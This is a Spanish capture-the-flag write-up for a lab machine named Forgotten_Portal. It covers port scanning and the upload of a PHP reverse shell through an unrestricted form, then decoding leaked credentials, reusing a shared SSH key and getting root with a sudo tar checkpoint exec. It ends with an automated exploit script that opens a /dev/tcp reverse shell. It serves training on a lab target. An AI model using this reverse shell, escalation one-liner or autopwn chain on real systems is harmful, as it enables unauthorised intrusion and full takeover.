> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/forgotten_portal-write-up.md).

# Forgotten\_Portal write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/dDw8kZHMbanFbRPySDVD" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/2UNztpmJpVNFq5iPmQOF" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el puerto 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/72l8GkGPoGsvcwju2JxA" alt=""><figcaption></figcaption></figure>

Si ahora revisamos el código fuente encontraremos lo siguiente:

<figure><img src="/files/UOIXKkkdUuq3KWDyHHpo" alt=""><figcaption></figcaption></figure>

Así que vamos a ingresar la ruta `http://172.17.0.2/m4ch1n3_upload.html` en el navegador.

<figure><img src="/files/mDFATFDVC3pUXEdSA9xC" alt=""><figcaption></figcaption></figure>

Contemplamos un formulario para subir archivos al servidor, así que subiremos un archivo malicioso en PHP que contenga lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>         
```

<figure><img src="/files/EN2qXPcr9OXlS36VH0vc" alt=""><figcaption></figcaption></figure>

Al subirlo se indica que el archivo se subió correctamente, así que nos ponemos en escucha por el puerto 444 y hacemos clic en [Haz clic aquí para ver el archivo](http://172.17.0.2/uploads/shell.php).

```bash
sudo nc -nlvvp 444
```

<figure><img src="/files/FUdWZ7xGguhQijwS7bPn" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, encontramos el archivo `access_log` en el directorio `/var/www/html` con el siguiente contenido:

<figure><img src="/files/qIMLJ4olmfoYenAhXGdY" alt=""><figcaption></figcaption></figure>

Esto indica una clave codificada en base64 `YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3`, la cual al decodificar es lo representa lo siguiente:

```bash
echo -e "YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3" | base64 -d
```

<figure><img src="/files/loBqolMUNgMqnf76hl5D" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `alice` es `s3cr3tp@ssw0rd^487`, así que iniciamos sesión como `alice`.

<figure><img src="/files/WUIE1XBTI12JpLp1hTa6" alt=""><figcaption></figcaption></figure>

Una vez estamos dentro de la máquina víctima como `alice` encontramos el archivo `report` en el directorio `/home/alice/incidents`, si vemos el contenido del archivo observamos lo siguiente:

<figure><img src="/files/PpMRo9aHwJEchQGW8P7e" alt=""><figcaption></figcaption></figure>

Esto indica que se está compartiendo la misma clave privada entre los usuarios y la contraseña de la clave, que es `cyb3r_s3curity`, por lo que vamos a acceder a la máquina víctima como el usuario `bob` usando la clave privada de `alice`.

```bash
cd /home/alice/.ssh && chmod 0600 id_rsa && ssh -i id_rsa bob@172.17.0.2
```

<figure><img src="/files/1XbP2ZKyBUXT8JrlRhQ7" alt=""><figcaption></figcaption></figure>

Una vez dentro como usuario `bob`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/bin/tar` como cualquier usuario.

<figure><img src="/files/0ndhPW8co4cxHxV5KH12" alt=""><figcaption></figcaption></figure>

Por lo que si ejecutamos lo siguiente obtendremos una shell con privilegios root:

```bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

<figure><img src="/files/tlsCkNlR9PXiTC6fJ1x6" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh -i id_rsa bob@172.17.0.2\r"
expect "password:  "
send "cyb3r_s3curity\r"
expect "*$ "
send "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash\r"
sleep 1
expect " "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def crear_id_rsa():

    print("[+] Creando script.exp...")
    
    contenido = """-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABD/Zl6Oa+
t/Nyrj5mS58b4UAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIH0U06i5Cvj9PvIg
dK8un8RIyk8IHB0d+OGgV5pg+VJyAAAAkGgMyLQZ/t4piG3I0P6JnXGOZ7nf5TWPY414hN
AaI6BO3ubesPARxs8RV8OQIF7L0DVJLPU8BDSuqmZgRLjlThdIzHRCCj9vf2lW9tzsZikd
6hfIWn1p+pDUvyyYPuKD9fjvr4NFlHVqHyz171SghCP+ePcbfAM1X5GwlTQwyBjf7Ibjrj
FKXxVgGHbqo+MLyw==
-----END OPENSSH PRIVATE KEY-----
"""

    with open("id_rsa", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0600 id_rsa")


def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def main():

    crear_id_rsa()

    time.sleep(1)

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(0.2)

    os.system("nc -nlvvp 4444 ")

    os.system("rm id_rsa script1.exp")
    

if __name__ == "__main__":
    main()
```
